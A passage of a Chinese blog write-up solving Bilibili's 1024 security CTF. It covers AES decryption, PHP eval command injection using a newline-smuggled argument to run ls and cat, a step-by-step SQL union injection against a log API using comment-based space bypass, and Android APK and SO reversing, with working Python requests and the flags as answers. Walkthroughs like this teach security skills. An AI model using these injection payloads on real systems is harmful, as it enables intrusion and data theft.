标签下呢?有了想法,K 哥就熟练的翻起了 JS 代码,因为我们爬虫遇到最多的就是 JS 加密嘛,然后发现就加载了 jQuery 和一个 common.js 文件,无论是搜索标签还是怎样,都没有什么有用的信息。 既然不存在 JS 加密,那应该就是硬解密文了,观察这是两段 48 位的密文,也有可能是一段 96 位的密文,而且没有 == 之类的特殊符号,那么就不可能是最简单的 MD5,不过 K 哥还是试了试,将其拆成 6 个 16 位、3 个 32 位等组合,发现都不是 MD5,于是又尝试了多种加密算法,一段作为 KEY,一段作为密文,或者整段组合成密文,SHA、HMAC、RC4 等算法都不行,再仔细观察网页,K 哥怀疑这个 happy_1024_2233 是不是也是加密的一部分呢?会不会是盐值(IV 值,也叫偏移量)?会不会它才是 KEY?结果多种尝试,最终才得出结论: 加密方式:AES 加密 加密模式:ECB 填充方式:无影响,都可以 Key:happy_1024_2233 96 位密文:e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156 输出方式:Hex(十六进制) 解密结果(flag):a1cd5f84-27966146-3776f301-64031bb9 有关各种加密算法原理与实现可以查看 K 哥往期的文章:【爬虫知识】爬虫常见加密解密算法 第二题:前端配置项 第二题的 flag 是 36c7a7b4-cda04af0-8db0368d-b5166480,就在 home.vue 页面的注释里,如下图所示: 第三题:最好的语言 第三题说 PHP 是世界上最好的语言,给了个 eval.php,如图所示: 本题解题思路来源于网安大佬,下载 eval.php,可以看到正则 /^\w+$/,这个可以用结尾接换行符匹配,然后就可以换行用 Linux 命令了: 使用根目录命令 ls 一下,向 http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls 发送 GET 请求: import requests url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls" response = requests.get(url=url) print(response.text) 返回内容: 1.txt passwd data config flag 在 passwd 里,其他就不看了,所以直接使用 Linux 命令 cat passwd,向 http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd 发送 GET 请求: import requests url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd" response = requests.get(url=url) print(response.text) 返回 flag:9d3c3014-6c6267e7-086aaee5-1f18452a 第四题:SQL 注入 本题解题思路来源于网安大佬,给的网址和第二题一样,找一下网页上的按钮,点日志信息可看到日志请求,可以从日志 api 入手,抓包日志 api 为:https://security.bilibili.com/sec1024/q/admin/api/v1/log/list,绕过空格过滤尝试通过且回显,Python 发送 POST: (PS:注意每次请求 user_name 字段的变化) import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,5", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text) 返回内容: { "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "5", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" } 获取表名: import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text) 返回内容,可以得到 flag、log、user: { "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "flag,log,user", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" } 获取 flag 表的字段,由于不能引号所以用十六进制绕过,flag 十六进制即 666c6167: import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text) 返回内容可以得到一个字段,id: { "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "id", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" } 最后直接拿下 flag: import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text) 返回内容 3d5dd579-0678ef93-18b70cae-cabc5d51 为 flag: { "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "3d5dd579-0678ef93-18b70cae-cabc5d51", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" } 第五题:APP 逆向 第五题是一个安卓逆向题,如图所示: 扔到模拟器看看,大概是输入账号密码,错误的话提示“还差一点点~~”,正确的话应该就能拿到 flag 了。 直接把 apk 扔到 JADX 里看看,没有混淆,代码一目了然,尤其这个 Encrypt 最为显眼: 分析代码:MainActivity.java 里,输入账号密码赋值给 obj 和 obj2,再依次调用 Encrypt.java 里的方法进行按位异或 3 的运算和 base64 编码,然后使用 Arrays.equals 方法将处理后的账号密码与正确的账号密码进行对比,正确就输出 bilibili- ( ゜- ゜)つロ 乾杯~,不是很复杂,可以使用 Java 复现,也可以使用 Python 逆向倒推正确的账号密码,使用 Python 复现的时候要注意,给出的正确账号密码是 Java 的两个字节数组,在 Python 中是没有字节数组这个概念的,Python 和 Java 字节的取值范围也不同,Python3 是 0~256,Java 是 -127~128,所以在转换的时候注意需要移动 256 位,Python 推导完整代码如下: import base64 byte_arr1 = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61] byte_arr2 = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61] byte_arr1_ = bytes(b % 256 for b in byte_arr1) byte_arr2_ = bytes(b % 256 for b in byte_arr2) bs64_arr1 = base64.b64decode(byte_arr1_) bs64_arr2 = base64.b64decode(byte_arr2_) username = password = "" for i in range(len(bs64_arr1)): username += chr(bs64_arr1[i] ^ 3) for i in range(len(bs64_arr2)): password += chr(bs64_arr2[i] ^ 3) print("username: ", username) print("password: ", password) print("flag: ", username + "-" + password) 输出: username: 516834cc-50e448af password: bcf9ed53-9ae4328e flag: 516834cc-50e448af-bcf9ed53-9ae4328e 在模拟器 APP 中输入账号密码测试成功: 第六题:IDA 逆向 SO 第五题和第六题题目虽然是一样的,但是 flag 不一样,第六题需要逆向 SO,会验证 abi 和系统版本,改 build.prop,ro.product.cpu.abi 为 x86,ro.build.version.release 为 9,然后再创建 /data/2233,4 byte 一组就会变成 flag:b13981f4-5ae996d4-bc04be5b-34662a78 第七题:风控恶意 IP 最后一题是找到所有的恶意 IP 后,通过通过英文逗号分隔成一个字符串后提交,系统会根据提交的 IP 正确数计算分数,这个题不知道具体怎么判断,K 哥尝试了使用 Python 把所有 IP 提取出来之后放到 Excel 里找出重复次数过多的 IP: bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc 这个答案只得了 10 分,实际上好像只要有一个正确的就是 10 分,满分是 20 分,可能有错的或者少的,这个题肯定没这么简单,肯定还要利用其他判断方法的,比如判断 UA、Path、Referer、同一个 UA 不同 IP 多次访问等,如果有思路的大佬可以评论讲一下。 总结 部分题目比较简单,只不过没有提示,像第一题就需要熟练掌握各种加密算法才能很快推断出加密方式,否则只能一个一个去试了,剩下的题就需要一定的网络安全知识了,各位爬虫大佬们也可以去试试。

资源下载

更多资源
Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册